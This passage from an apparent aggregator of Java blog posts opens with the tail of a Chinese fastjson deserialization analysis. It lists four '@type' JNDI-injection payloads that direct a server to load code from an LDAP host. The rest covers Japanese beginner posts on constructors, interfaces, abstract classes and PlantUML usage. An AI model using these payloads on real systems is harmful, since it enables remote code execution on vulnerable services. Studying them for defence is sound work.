// 需要autotype true {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}总结
从
@type
属性牵扯出来一系列的RCE,整个过程分析下来还是很有收获,不停的bypass才是反序列化的最大乐趣。参考链接
- 投稿日:2020-04-26T12:21:11+09:00
コンストラクタの勉強をした(java)
コンストラクタの勉強をしたかったので、ググって(ググる:"Google で検索する" の意。Google で無くとも使う)コードを引っ張ってきた。
ctest7.javaclass ctest7{ public static void main(String args[]){ Television tv1 = new Television(); tv1.dispChannel(); } } class Television{ private int channelNo; private String housouKyoku; public void setChannel(int newChannelNo){ channelNo = newChannelNo; if (channelNo == 1){ housouKyoku = "FujiTV"; }else if (channelNo == 3){ housouKyoku = "NHK"; } } public void dispChannel(){ System.out.println("現在のチャンネルは" + housouKyoku + "です"); } }これをコンパイルして実行すると、
「現在のチャンネルはnullです」
と表示される。housouKyoku が格納されず、null になってしまっている。これを修正すると以下のコードになるらしい。
java.ctest8.javaclass ctest8{ public static void main(String args[]){ Television tv1 = new Television(); tv1.dispChannel(); } } class Television{ private int channelNo; private String housouKyoku; Television(){ channelNo = 1; housouKyoku = "FujiTV"; } public void setChannel(int newChannelNo){ channelNo = newChannelNo; if (channelNo == 1){ housouKyoku = "FujiTV"; }else if (channelNo == 3){ housouKyoku = "NHK"; } } public void dispChannel(){ System.out.println("現在のチャンネルは" + housouKyoku + "です"); } }もとのctest7.java のコードに
Television(){ channelNo = 1; housouKyoku = "FujiTV"; }を追加したものとなっている。
そうか、初期化ってそういうことか。
理屈はあってるけど初期値として中身がないと動作としてはうまく行かないんだ。
だから初期値を設定しておく必要があるんだ。
メソッドに直接記述して、呼び出すたびに上書きするってのもできるだろうけど、それじゃ大規模なコードを分担して作業するのには向いてないんだな。ほー。
[参考]
「コンストラクタとは - コンストラクタ - Java入門 - Let'sプログラミング」
https://www.javadrive.jp/start/constructor/index1.html
- 投稿日:2020-04-26T11:53:58+09:00
DNAの記号をランダムに表示
public class Main {
public static void main(String[] args) {
int [] seq = new int [10];
//配列をランダムに生成
for (int i = 0; i < seq.length; i++) {
seq[i] = new java.util.Random().nextInt(4);
}
//記号を表示
for (int i = 0; i < seq.length; i++) {
switch (seq[i]) {
case 0:
System.out.print("A");
break;
case 1:
System.out.print("T");
break;
case 2:
System.out.print("G");
break;
case 3:
System.out.print("C");
break;
}
}
}
}
- 投稿日:2020-04-26T11:37:50+09:00
コンストラクタ(java) の使い方の勉強
コンストラクタの使い方がわからん。勉強だ。
[知ってること]
・名前はクラス名と同じ
・何かを初期化する役割(何をかはぼんやりとしかわかってない)
・super は親クラスのコンストラクタを呼び出す
・this は自身のクラスのコンストラクタを呼びだす
・引数と同じ名前の変数を使うときにthis.str = str
(左のstr はいま定義したもの、右側のstr はメソッドの引数)[わからないこと]
・コンストラクタの使いみち
・記述方法
[調べてわかったこと]
・コンストラクタは、クラスの
・戻り値は設定できない
・引数は設定できる
・メンバ変数(クラス内でメソッド外の変数のこと)の初期化をするsample.javapublic class sample{ int num; // ←これ String name; // ←これも public sample_method(){ ~~~~ ~~~~ } }こんな感じかなあ。次はコードを書いて、具体的に実装の流れを勉強してみようかな。
- 投稿日:2020-04-26T11:22:33+09:00
インターフェイスの使用例
はじめに
抽象クラスの使用例のインターフェイス版です。
インターフェイスの意味・定義の仕方は知っているけど、どんなときに使うのか・どんな良いことがあるのか。
その例を紹介します。いきなり結論。改造に強くなります。
抽象クラス・汎化・継承と同じで、改造に強くなります。
抽象クラスの使用例で紹介したプログラムにさらに改造要求が発生したことを例として紹介します。改造対象のプログラム
まずは、抽象クラスの使用例で紹介したプログラムのおさらいです。
プリンターを管理するプログラムで、最初はインクジェットプリンターとレーザープリンターを管理してプリンター情報を一覧表示していました。
そこに、管理できるプリンターとしてドットインパクトプリンターを追加してくれという改造要件がきたので、抽象化(汎化・継承)で改造に強いプログラムを作りました。メンバ変数mModelName(モデル名)とmPaper(用紙残量)を汎化、プリンター情報を返すgetPrinterInfo()関数を抽象化しています。
新たな改造要件
今回はさらに「管理するプリンターの種類に3Dプリンターを追加してそのプリンター情報も表示して欲しい」という要件がきたとします。
ドットインパクトプリンターを追加したときのようにAbstractPrinterを継承して…としてもできないことはないですが、3Dプリンターは紙に印刷するわけではないので、mPaper(用紙残量)は不要です。
使わないメンバ変数はプログラムを保守する際に邪魔なのでない方が良いです。じゃあ、独立した3Dプリンタークラスを作るか。
それだと、抽象クラスの使用例の抽象クラスを使わないプログラムのように冗長になるし…。ではどうすれば良いか。
インターフェイスで解決してみましょう。インターフェイスを利用して改造してみる
まず、インターフェイスを作ります。
// // プリンターインターフェイス // interface IPrinter{ // 一覧表示用プリンタ情報を返す String getPrinterInfo(); }プリンターインターフェイスIPrinterを実装する形で3Dプリンタークラスを作成します。
// // 3Dプリンター // class ThreeDPrinter implements IPrinter{ // 材料容量 private int mMaterial; // コンストラクタ public ThreeDPrinter(int material){ mMaterial = material; } // 一覧表示用プリンタ情報を返すメソッド public String getPrinterInfo(){ return "[3D]開発中3Dプリンター" + " 印刷可能容量:" + mMaterial + "リットル"; } }AbstractPrinterクラスにもプリンターインターフェイスIPrinterを実装します。
// // プリンターの抽象クラス // abstract class AbstractPrinter implements IPrinter{ // 略 }管理するプリンターを格納する配列の型をAbstractPrinterからIPrinterに変更します。
public static void main(String[] args) throws Exception { // 管理するプリンターを登録する。 IPrinter[] printers = { new InkjetPrinter("Epson P1", 10), new InkjetPrinter("Canon C1", 20), new LaserPrinter("Xerox X1", 100), new LaserPrinter("Richo R1", 50), new LaserPrinter("Richo R2", 200), new DotimpactPrinter("NEC N1", 100), new DotimpactPrinter("Oki O1", 50), new ThreeDPrinter(5), }; // 管理しているプリンターを一覧表示する。 for(int i = 0; i < printers.length; i++ ){ String printerInfo = printers[i].getPrinterInfo(); System.out.println(printerInfo); } }これだけ。
実行してみましょう。実行結果[インクジェット]Epson P1 印刷可能枚数:10 [インクジェット]Canon C1 印刷可能枚数:20 [レーザー]Xerox X1 印刷可能枚数:100 [レーザー]Richo R1 印刷可能枚数:50 [レーザー]Richo R2 印刷可能枚数:200 [ドットインパクト]NEC N1 印刷可能枚数:100 [ドットインパクト]Oki O1 印刷可能枚数:50 [3D]開発中3Dプリンター 印刷可能容量:5リットルできましたー!
抽象クラスの使用例のときと同じように管理する変数も増えず、表示する処理も変更せずにできました。
https://paiza.io/projects/wSSYJVnwbZfsI0vXHrsGjgまとめ
インターフェイスも型なんですね。なので、変数の型として使えます。
インターフェイス型の変数には、そのインターフェイスを実装しているクラスのオブジェクトを格納できます。// 管理するプリンターを登録する。 IPrinter[] printers = { new InkjetPrinter("Epson P1", 10), // 略 new ThreeDPrinter(5), };ThreeDPrinterクラスもAbstractPrinterから派生した各クラスもIPrinterインターフェイスを実装しているので、IPrinter型の変数にそのオブジェクトを格納できます。
そしてgetPrinterInfo()関数を定義しているIPrinter型の変数は、その中に入っているオブジェクトの詳しいことは知らないけどgetPrinterInfo()関数を実装していることだけは確かなのでそれを呼び出すことができます。// 管理しているプリンターを一覧表示する。 for(int i = 0; i < printers.length; i++ ){ // printers[i]の中身は何かわからないけど、 // printers[i]はIPrinter型なので // getPrinterInfo()が実装されているのでそれを呼び出せる。 String printerInfo = printers[i].getPrinterInfo(); System.out.println(printerInfo); }
- 投稿日:2020-04-26T11:22:08+09:00
抽象クラスの使用例
はじめに
抽象クラスの意味・定義の仕方は知っているけど、どんなときに使うのか・どんな良いことがあるのか。
同じ要件を抽象クラスを使って実装したプログラムと使わずに実装したプログラムを比較して確認してみます。JAVAプログラム
プリンターの種類としてはインクジェットとレーザーがあるとします。それらを複数管理し、管理しているプリンターの情報を一覧表示するプログラムを作ります。
抽象クラスを使わないプログラム
https://paiza.io/projects/Iwnh9NgDAaxPSZC36uZqsw
InkjetPrinterクラスとLaserPrinterクラスがあるだけです。
それぞれモデル名(mModelName)と用紙残数(mPaper)をメンバ変数として持っています。また、プリンター情報を返してくれるgetPrinterInfo()関数を備えています。違いは、InkjetPrinterはインク残量(mRemainingInk)を持っていて、LaserPrinterはトナー残量(mRemainingToner)を持っています。
抽象クラスを使ったプログラム
https://paiza.io/projects/Xs-iNK2-SYDnlYIp1oWF3w
InkjetPrinterクラスとLaserPrinterクラスの共通部分(メンバ変数モデル名と用紙残量、プリンター情報を返してくれる関数)を汎化して抽象クラスAbstractPrinterを作りました。
InkjetPrinterクラスとLaserPrinterクラスは、AbstractPrinterを継承しています。「抽象化」という観点で説明すると、InkjetPrinterクラスとLaserPrinterクラスをモデル名と用紙残量を持っていてプリンター情報を返すというプリンターとして抽象化した、となります。
実行結果
どちらも同じ結果が出力されます。
出力結果[インクジェット]Epson P1 印刷可能枚数:10 [インクジェット]Canon C1 印刷可能枚数:20 [レーザー]Xerox X1 印刷可能枚数:100 [レーザー]Richo R1 印刷可能枚数:50 [レーザー]Richo R2 印刷可能枚数:200何が違うのか
2点あげられます。
まずはクラス構成。独立したクラスと抽象化したクラスです。抽象クラスの概念はオブジェクト指向を解説した書籍やサイトで詳しく解説されているのでここでは省きます。
もう一点は、管理している側からの使い方です。こちらについて詳しく見ていきます。
抽象クラスを使わない場合
抽象クラスを使わない場合のmain()public static void main(String[] args) throws Exception { // 管理するインクジェットプリンターを登録する。 InkjetPrinter[] inkjets = { new InkjetPrinter("Epson P1", 10), new InkjetPrinter("Canon C1", 20), }; // 管理するレーザプリンターを登録する。 LaserPrinter[] lasers = { new LaserPrinter("Xerox X1", 100), new LaserPrinter("Richo R1", 50), new LaserPrinter("Richo R2", 200), }; // 管理しているプリンターを一覧表示する。 // まずは、インクジェットプリンター。 for(int i = 0; i < inkjets.length; i++ ){ System.out.println(inkjets[i].getPrinterInfo()); } // 次に、レーザープリンター。 for(int i = 0; i < lasers.length; i++ ){ System.out.println(lasers[i].getPrinterInfo()); } }InkjetPrinterクラスとLaserPrinterクラスとの間にはなんの関係性もないそれぞれ独立した「型」です。
InkjetPrinterクラスのオブジェクトはInkjetPrinter型の変数にしか格納できないし、LaserPrinterクラスのオブジェクトはLaserPrinter型の変数にしか格納できません。
よって、プリンターの種類ごとの型の変数(この場合は配列)を用意してプリンターオブジェクトを格納し、それぞれループさせてプリンター一覧を出力しています。
抽象クラスを使った場合
抽象クラスを使った場合のmain()public static void main(String[] args) throws Exception { // 管理するプリンターを登録する。 AbstractPrinter[] printers = { new InkjetPrinter("Epson P1", 10), new InkjetPrinter("Canon C1", 20), new LaserPrinter("Xerox X1", 100), new LaserPrinter("Richo R1", 50), new LaserPrinter("Richo R2", 200), }; // 管理しているプリンターを一覧表示する。 for(int i = 0; i < printers.length; i++ ){ System.out.println(printers[i].getPrinterInfo()); } }InkjetPrinterクラスとLaserPrinterクラスは「プリンター」を抽象化したクラス「AbstractPrinter」から派生しています。AbstractPrinterクラスが共通の親クラスとなっています。
変数はその型のオブジェクトとその型から派生したオブジェクトを格納することができます。
よって、AbstractPrinter型の変数には、InkjetPrinterクラスのオブジェクトとLaserPrinterクラスのオブジェクトを格納することができ、この変数に入っているオブジェクトをAbstractPrinterクラスとして扱うことができます。
これにより、プリンターを管理する変数がひとつになり、表示する処理もひとつになりました。
どんな良いことがあるのか
抽象クラスを導入することで管理する変数と表示処理がスマートになりました。
これだけでも良いことなのですが、機能拡張などの「変更に強くなる」というとても良いことがあります。プリンターの種類にドットインパクトプリンターを追加して欲しいという改造要件が来たとしましょう。
抽象クラスを使わない場合は、以下のソースとなります。
「★追加★」とコメントした処理が追加した行です。抽象クラスを使わない場合
抽象クラスを使わない場合のmain()public static void main(String[] args) throws Exception { // 管理するインクジェットプリンターを登録する。 InkjetPrinter[] inkjets = { new InkjetPrinter("Epson P1", 10), new InkjetPrinter("Canon C1", 20), }; // 管理するレーザプリンターを登録する。 LaserPrinter[] lasers = { new LaserPrinter("Xerox X1", 100), new LaserPrinter("Richo R1", 50), new LaserPrinter("Richo R2", 200), }; // ★追加★ // 管理するドットインパクトプリンターを登録する。 DotimpactPrinter[] dotimpacts = { new DotimpactPrinter("NEC N1", 100), new DotimpactPrinter("Oki O1", 50), }; // 管理しているプリンターを一覧表示する。 // まずは、インクジェットプリンター。 for(int i = 0; i < inkjets.length; i++ ){ System.out.println(inkjets[i].getPrinterInfo()); } // 次に、レーザープリンター。 for(int i = 0; i < lasers.length; i++ ){ System.out.println(lasers[i].getPrinterInfo()); } // ★追加★ // 次に、ドットインパクトプリンター。 for(int i = 0; i < dotimpacts.length; i++ ){ System.out.println(dotimpacts[i].getPrinterInfo()); } }全ソース:https://paiza.io/projects/VL2hoWh-eWKiHF0lha_rXg
抽象クラスを使った場合
抽象クラスを使った場合のmain()public static void main(String[] args) throws Exception { // 管理するプリンターを登録する。 AbstractPrinter[] printers = { new InkjetPrinter("Epson P1", 10), new InkjetPrinter("Canon C1", 20), new LaserPrinter("Xerox X1", 100), new LaserPrinter("Richo R1", 50), new LaserPrinter("Richo R2", 200), new DotimpactPrinter("NEC N1", 100), // ★追加★ new DotimpactPrinter("Oki O1", 50), // ★追加★ }; // 管理しているプリンターを一覧表示する。 for(int i = 0; i < printers.length; i++ ){ System.out.println(printers[i].getPrinterInfo()); } }全ソース:https://paiza.io/projects/UHysfz9Nx6LPENUOuTnY6w
抽象クラスを使わない方は、ドットインパクトプリンターを管理する変数とそれを表示するループ処理を追加しました。
似たような処理が増えましたね。冗長です。一方、抽象クラスを使った方はプリンターを管理するprinters変数にドットインパクトプリンターのオブジェクトを追加するだけ済み、表示する処理に変更は入りませんでした。プログラムの改造量が少なくて済みますね。
まとめ
実はこの利点は抽象クラスの効果というよりも、クラスの汎化・継承による利点です。
抽象クラスをつかうということは、抽象化+汎化・継承するということなので、汎化・継承の恩恵を受けられるわけです。
- 投稿日:2020-04-26T11:13:01+09:00
合計点、平均点の求め方
public class Main {
public static void main(String[] args) {
int [] scores = {20, 30, 40, 50, 80};
int sum = 0; //集計結果
for (int i = 0; i < scores.length; i++) {
sum += scores[i]; //変数sumに合算
}int avg = sum / scores.length; System.out.println("合計点:" + sum); System.out.println("平均点:" + avg); }}
- 投稿日:2020-04-26T11:03:21+09:00
PlantUML使い方メモ
長くなるので、図の書き方はクラス図とシーケンス図だけで。
PlantUML とは
- テキストで UML 図を記述できる DSL の一種(たぶん)
- 本体は Java で書かれていて、単一の jar ファイルを落としてきてコマンドラインから実行できる
- ただし、実際に使うときは Visual Studio Code とかのプラグインを入れて実行することが多いと思う
- ライセンスは GPL v3
環境構築
OS は Windows10。
Java
> java --version openjdk 11.0.6 2020-01-14 OpenJDK Runtime Environment AdoptOpenJDK (build 11.0.6+10) OpenJDK 64-Bit Server VM AdoptOpenJDK (build 11.0.6+10, mixed mode)インストール方法は割愛。
PlantUML 本体
https://plantuml.com/ja/download
ここから
plantuml.jar
を落としてくる。
確認時点ではplantuml.1.2020.7.jar
だった。Graphviz
http://www.graphviz.org/download/
図の描画に使用しているソフトウェアっぽい。
Graphviz - Wikipediaシーケンス図とアクティビティ図 以外 の図を生成したい場合は必要なので、事実上必須。
自分が落としたのは
2.38
。dot.exe の場所を指定する
PlantUML を実行するときに、 Graphviz に含まれている
dot.exe
の場所を指定する必要がある。
指定方法は次のいずれか(採用される優先度が高いモノ順に並べている)。
-graphvizdot
オプションで指定する- システムプロパティ
GRAPHVIZ_DOT
で指定する- 環境変数
GRAPHVIZ_DOT
に設定する仮に、 Graphviz をインストールしたフォルダが
C:\Graphviz
だったとすると、次のような感じで指定する。-graphvizdotオプションで指定した場合> java -jar plantuml.jar -graphvizdot C:\Graphviz\bin\dot.exe ...システムプロパティで指定した場合> java -DGRAPHVIZ_DOT=C:\Graphviz\bin\dot.exe -jar plantuml.jar ...環境変数で指定した場合> set GRAPHVIZ_DOT GRAPHVIZ_DOT=C:\Graphviz\bin\dot.exeVSCode
以下のプラグインを使う場合は、 VSCode を実行する前に環境変数
GRAPHVIZ_DOT
を設定しておく。PlantUML
PlantUML - Visual Studio Marketplace
- VSCode で PlantUML を書くためのプラグイン
Alt
+d
でプレビューが表示される- 複数の
@startuml...@enduml
がある場合は、現在カーソルが存在する場所の図がプレビューされるMarkdown Preview Enhanced
Markdown Preview Enhanced - Visual Studio Marketplace
- Markdown 中の PlantUML をプレビューできるようにするプラグイン
Ctrl
+k
,v
でプレビューが表示されるHello World
hello.pu@startuml Hello <|-- World @enduml
- テキストファイルを作って、中身を↑のように記述する
- ファイルの拡張子は
pu
が慣例?実行> java -jar plantuml.jar hello.pu
- 引数に作成したテキストファイルを指定して実行する
- すると、引数で指定したファイルと同じ場所に
hello.png
というファイルが出力されるhello.png
コマンドラインからの実行方法
ファイル指定
> dir /b fuga.pu hoge.pu piyo.pu > java -jar plantuml.jar hoge.pu fuga.pu piyo.pu > dir /b fuga.png fuga.pu hoge.png hoge.pu piyo.png piyo.pu
- ファイルのパスを引数に指定して実行できる
- ファイルは複数指定可能
- ファイル名と同じ名前の png ファイルが、ファイルと同じ場所に生成される
ディレクトリ指定
フォルダ構成`-hoge/ |-plantuml.pu |-markdown.md |-JavaSource.java `-fuga/ `-fuga.pu
hoge
ディレクトリの直下に、3つのファイルを配置している- それぞれ、中身は次のようになっている
plantuml.pu
@startuml class PlantUml @endumlmarkdown.md
``` @startuml class Markdown @enduml ```JavaSource.java
/** * @startuml * class JavaSource { * - String message * } * @enduml */ public class JavaSource {}
hoge
フォルダの下にはfuga
ディレクトリがあり、その下にはfuga.pu
ファイルを配置しているfuga.pu
@startuml class Fuga @enduml実行
> java -jar plantuml.jar hoge実行後`-hoge/ |-plantuml.pu |-plantuml.png |-markdown.md |-JavaSource.java |-JavaSource.png `-fuga/ `-fuga.pu
plantuml.png
とJavaSource.png
が生成されているplantuml.png
JavaSource.png
- フォルダを指定して実行すると、そのフォルダ直下に存在するファイルが自動的に読み込まれる
- 次の拡張子に該当するファイルが、読み込みの対象となっている
.c
.h
.cpp
.txt
.pu
.tex
.html
.htm
.java
- これらのファイルの中に
@startuml
からはじまり@enduml
で終わる部分を見つけると、その部分から画像を生成してくれるワイルドカードで指定する
- ↑と同じ構成で、次は以下のようにコマンドを実行する
> java -jar plantuml.jar "hoge/**"
- フォルダを指定した部分を、
"hoge/**"
としている実行結果`-hoge/ |-plantuml.pu |-plantuml.png |-markdown.md |-markdown.png |-JavaSource.java |-JavaSource.png `-fuga/ |-fuga.pu `-fuga.png
markdown.png
やfuga.png
も生成されているmarkdown.png
fuga.png
- 対象の指定には、次のワイルドカードが使用できる
*
任意の文字列?
任意の1文字**
任意のサブディレクトリ除外対象を指定する
> java -jar plantuml -x "**/*.pu" "hoge/**"実行結果`-hoge/ |-plantuml.pu |-markdown.md |-markdown.png |-JavaSource.java |-JavaSource.png `-fuga/ `-fuga.pu
- 拡張子が
pu
のファイルだけ png ファイルが生成されていない-x
オプションで除外対象を指定できる文字コードの指定
> java -jar plantuml.jar -charset UTF-8 hello.pu
- 文字コードは
-charset
オプションで指定する標準入力から読み込む
> type plantuml | java -jar plantuml.jar -pipe > result.png
-pipe
オプションを指定すると標準入力から読み込むので、パイプが可能になる- 結果は標準出力に書き出されるので、適当なファイルにリダイレクトしてあげればいい
複数の図の記述が存在した場合
hoge.pu@startuml class Hoge @enduml @startuml class Fuga @enduml @startuml class Piyo @enduml
- 1つのファイル内に複数の
@startuml...@enduml
の記述が存在した場合実行> java -jar plantuml.jar hoge.pu実行結果> dir /b hoge.png hoge.pu hoge_001.png hoge_002.pnghoge.png
hoge_001.png
hoge_002.png
- 最初の図が
ファイル名.png
で生成される- 残りの図は、
ファイル名_XXX.png
の連番で生成される
- 1000個以上あったらどうなるのかは試していない
図ごとにファイル名を指定する
hoge.pu@startuml hoge class Hoge @enduml @startuml fuga class Fuga @enduml @startuml piyo class Piyo @enduml
- 各
@startuml
の後ろに名前を記述している実行> java -jar plantuml.jar hoge.pu実行結果> dir /b fuga.png hoge.png hoge.pu piyo.pnghoge.png
fuga.png
pioy.png
@startuml 名前
とすることで、図ごとのファイル名を指定できるヘルプの表示
> java -jar plantuml.jar -h
- ヘルプは、
-h
または-help
で表示できる共通
コメント
@startuml no-scale ' これはコメント Hello <|-- World @enduml
- シングルクォーテーション (
'
) から後ろはコメント扱いになるタイトル
@startuml title Hello Title Hello <|-- World @enduml
title タイトル
と記述することで、図のタイトルを設定できる複数行のタイトル
@startuml title Hello Title end title Hello <|-- World @enduml
title
とend title
で囲うことで、複数行のタイトルが記述できるマークアップ言語で書く
@startuml title * __Hello__ * **World** end title Hello <|-- World @enduml
- Creole というマークアップ言語を使用できる
- Creole の記述例はこちら
キャプション
@startuml caption 図1 Hello <|-- World @enduml
caption キャプション
で、図のキャプションを設定できるヘッダー・フッター
@startuml header Hello Hello <|-- World footer World @enduml
header ヘッダーコメント
,footer フッターコメント
で、ヘッダーとフッターを指定できる- デフォルトだと、ヘッダーは右寄せ、フッターはセンタリングになる
- Creole で記述できる
位置を指定する
@startuml left header Hello Hello <|-- World right footer World @enduml
left
,center
,right
をheader
,footer
の前に記述することで、位置を調整できる複数行で書く
@startuml header Hello Header end header Hello <|-- World footer World Footer end footer @enduml
header ... end header
,footer ... end footer
で囲むことで、複数行で記述できる凡例
@startuml legend Hello World end legend Hello <|-- World class FizzBuzz @enduml
legend ... end legend
で、凡例を挿入できる- デフォルトでは、中央下に配置される
位置を指定する
legend
の後ろに上下の位置 (top
,bottom
) と左右の位置 (left
,center
,right
) を指定できる@startuml right legend right Right end legend Hello <|-- World class FizzBuzz @enduml
- 左右の位置だけ指定した場合、上下の位置はデフォルトの
bottom
になる@startuml top legend top Top end legend Hello <|-- World class FizzBuzz @enduml
- 上下の位置だけ指定した場合、左右の位置はデフォルトの
center
になる@startuml top-left legend top left Top Left end legend Hello <|-- World class FizzBuzz @enduml
- 両方とも指定した場合は、指定された位置に表示される
- このとき、
legend left top
のように上下と左右の位置指定を逆にするとエラーになる
- 必ず、上下の位置→左右の位置の順番で指定する必要がある
拡大率
@startuml no-scale Hello <|-- World @enduml @startuml scale-1.5 scale 1.5 Hello <|-- World @enduml @startuml scale-0.5 scale 0.5 Hello <|-- World @enduml
scale 拡大率
と記述することで、その図の拡大率を指定できるCreole
- wiki 記述言語の1つ
- タイトルやノートで、この記法が使用できる
@startuml note left --見出し-- = 見出し1 == 見出し2 === 見出し3 --番号なしリスト-- * リスト1 * リスト2 ** リスト2-1 * リスト3 --番号付き-- # 番号付きリスト1 # 番号付きリスト2 ## 番号付きリスト2-1 # 番号付きリスト3 --装飾-- * **太字** * //イタリック// * ""等幅フォント(monospace)"" * --取り消し線-- * __下線__ --テーブル-- |= |= Column1 |= Column2 | |1 |Value1-1 |Value1-2 | |2 |Value2-1 |Value2-2 | --HTML-- * <color:red>色名指定</color> * <color:#00FF00>カラーコード指定</color> * <back:skyblue>背景色</back> * <size:18>フォントサイズ</size> * <b>太字</b> --木構造-- |_build.gradle |_src |_main |_java |_**bold** |_--strike-- |_//itaric// |___underline__ |_""monospace"" |_test --Unicode-- * <U+20BB7> --Escape-- * **これは太字になる** * ~**これは太字にならない** --水平線-- --タイトルを挟める-- ---- ==タイトルを挟める== ==== ..タイトルを挟める.. .... end note @endumlフォントを指定する
@startuml skinparam DefaultFontName メイリオ おはよう <|-- 世界 @enduml
skinparam DefaultFontName フォント名
と記述することで、デフォルトのフォントを指定できるskinparam
は、skinparam <key> <value>
という書式で様々なスキン設定を指定できるDefaultFontName
はデフォルトのフォントを指定するキーCaptionFontName
やClassFontName
のように、特定の要素ごとにフォントを指定することも可能<key>
に指定できる値の一覧は、次のコマンドで確認できる> java -jar plantuml.jar -language ... ;skinparameter ;536 ActivityBackgroundColor ActivityBarColor ActivityBorderColor ActivityBorderThickness ActivityDiamondBackgroundColor ActivityDiamondBorderColor ActivityDiamondFontColor ...クラス図
クラスを宣言する
@startuml class Hello class World @enduml
class <型名>
と記述することで、クラスを宣言できるインターフェースを宣言する
@startuml interface Hello interface World @enduml
interface <型名>
と記述することで、インターフェースを宣言できる抽象クラスを宣言する
@startuml abstract class Hello @enduml
abstract class <型名>
とすることで、抽象クラスを宣言できるenum を宣言する
@startuml enum HelloWorld { ONE TWO THREE } @enduml
enum <型名>
で、 enum を宣言できる- 続けて波括弧
{...}
を書き、そのなかで定数を宣言できる型間の関連を記述する
関連(リンク)
@startuml Hello -- World @enduml
<型名> <関連を表す線> <型名>
と記述することで、型間の関連を記述できる--
は、単純な関連だけを記述できるclass <型名>
で宣言していない型でも使用可能
- 宣言と合わせて記述することも可能
誘導可能性の表現
@startuml class One One --> Two Three <-- Four Five <--> Six Seven x-- Eight Nine --x Ten @enduml
<
,>
,x
で、誘導可能性を表現できる依存
@startuml One ..> Two Three <.. Four @enduml
..>
,<..
で、依存を表現できる汎化
@startuml One --|> Two Three <|-- Four @enduml
<|--
,--|>
で、汎化を表現できる実現
@startuml One ..|> Two Three <|.. Four @enduml
..|>
,<|..
で、実現を表現できる集約
@startuml One --o Two Three o-- Four @enduml
--o
,o--
で、集約を表現できるコンポジション
@startuml One --* Two Three *-- Four @enduml
--*
,*--
で、コンポジションを表現できる関連名
@startuml One -- Two : Hoge Three -- Four : Fuga > Five -- Six : < Piyo @enduml
- 関連を記述した後ろに
:
を入れると、そのさらに後ろに関連名を記述できる- 関連名の前後に
<
,>
を入れることで、関連の方向性を表現できるロール名と多重度
@startuml One "Foo" -- Two Three -- "Bar" Four Five "1" -- "1..*" Six Seven "1 Fizz" -- "~* Buzz" Eight @enduml
- 型名と関連の線の間にダブルクォーテーション (
"
) で囲った文字列を記述することで、ロール名または多重度を記述できる- ロール名用・多重度用に記述が分かれておらず、この記法をうまく利用して両方を記述しなければならないっぽい
- なお、
* Buzz
のようにアスタリスク (*
) で始めてしまうと Creole 記法のリスト扱いになってしまうので、~
でエスケープする必要があるフィールド・メソッドの定義
@startuml class Hello { one: String three(param1: String, param2: int): boolean String two int four(List<String> param) } @enduml
class <型名>
の後に波括弧 ({...}
) で囲った中で、フィールドやメソッドを宣言できる- UML として正式な記述 (
フィールド名: 型名
) だけでなく、 Java 的な書き方 (型名 フィールド名
) でも書ける
- 結構なんでも書けるっぽいが、 UML の正式な記法にしておくのが無難だとは思う
- フィールドとメソッドは自動的に判定されて、よしなにクラス図のそれぞれの部分に描画される
- こちらも、あえて混在させる必要はなく、キレイに分けて書いておいたほうが無難
可視性
@startuml class Hello { - privateField: int # protectedField: int ~ packagePrivateField: int + publicField: int - privateMethod(): void # protectedMethod(): void ~ packagePrivateMethod(): void + publicMethod(): void } @enduml
- UML の記法で可視性を記述すると専用のアイコン表示になる
- 逆に分かりにくいって場合は、以下の様にしてアイコン表示をオフにすることもできる
@startuml skinparam classAttributeIconSize 0 class Hello { - privateField: int # protectedField: int ~ packagePrivateField: int + publicField: int - privateMethod(): void # protectedMethod(): void ~ packagePrivateMethod(): void + publicMethod(): void } @enduml
skinparam classAttributeIconSize 0
を設定すると、可視性のアイコン表示は消える抽象メンバー
@startuml class Hello { {abstract} one: int {abstract} two(): int } @enduml
- メンバーの先頭に
{abstract}
とつけることで、抽象メンバーにできる静的メンバー
@startuml class Hello { {static} ONE: int {static} two(): int } @enduml
- メンバーの先頭に
{static}
とつけることで、静的メンバーにできるステレオタイプ
@startuml class Hello <<Hoge>> class World <<Fuga>> { message: String } @enduml
- 型名の後ろに
<<ステレオタイプ>>
と記述することで、ステレオタイプを記述できるテンプレート
@startuml class Hello<H> class World<W> <<Hoge>> @enduml
- 型名の直後に
<名前>
と記述することで、テンプレートを表現できる- ステレオタイプとの併用も可能
実現や汎化を Java コードっぽく書く
@startuml interface One interface Two interface Three extends Two interface Four class Five implements One, Three class Six extends Five implements Four { field: String method(): void } @enduml
extends
やimplements
を使って、まんま Java コードっぽく書ける- これは捗る
パッケージ
@startuml package one.two { class Hello } package three.four { World -- Hello } @enduml
package <名前> {...}
と記述することで、パッケージを表現できる- 波括弧の中では、クラスや関連を記述できる
宣言の順序に注意
パッケージ宣言の順序を逆転した場合@startuml package three.four { World -- Hello } package one.two { class Hello } @enduml
Hello
クラスはone.two
パッケージで宣言しているつもりだが、先に登場しているthree.four
パッケージに含まれてしまっている- どうやら、上から順番に見ていって最初に登場したパッケージ内で宣言したことになるっぽい
ノート
@startuml class Fizz note left: fizz class Buzz note right: buzz class Foo note top: foo class Bar note bottom: bar @enduml
- クラスなどの宣言のうしろに
note <top|bottom|left|right>: <コメント>
と記述することで、直前の要素にたいしてノートを記述できる- Creole での記述も可能
ノートをつける要素を指定する
@startuml Fizz -- Buzz note left of Fizz: fizz note right of Buzz: buzz @enduml
note <位置> of <対象>: <コメント>
と記述することで、<対象>
で指定した要素に対してノートをつけることができる関連にノートをつける
@startuml Fizz -- Buzz note on link: fizz-buzz note left: buzz @enduml
- 型間の関連を記述したあとに
note on link: <コメント>
と記述することで、関連に対してノートをつけることができるノートに名前をつける
@startuml note "Hello World" as n1 Hello -- n1 World .. n1 note "Fizz Buzz" as n2 @enduml
note "<コメント>" as <名前>
と記述することで、ノートに任意の名前を割り当てることができる- 割り当てた名前を使って、好きな要素とノートを紐付けることができる
- 型間の関連を書くのと同じような要領で線を引ける
- この記法なら、単独のノートを記述することもできる
複数行のノートを書く
@startuml class Hello note left Hello World end note Fizz -- Buzz note on link Fizz Buzz end note note left of Fizz fizz buzz end note note as n1 Foo Bar end note @enduml
- 各ノートの記法は、
end note
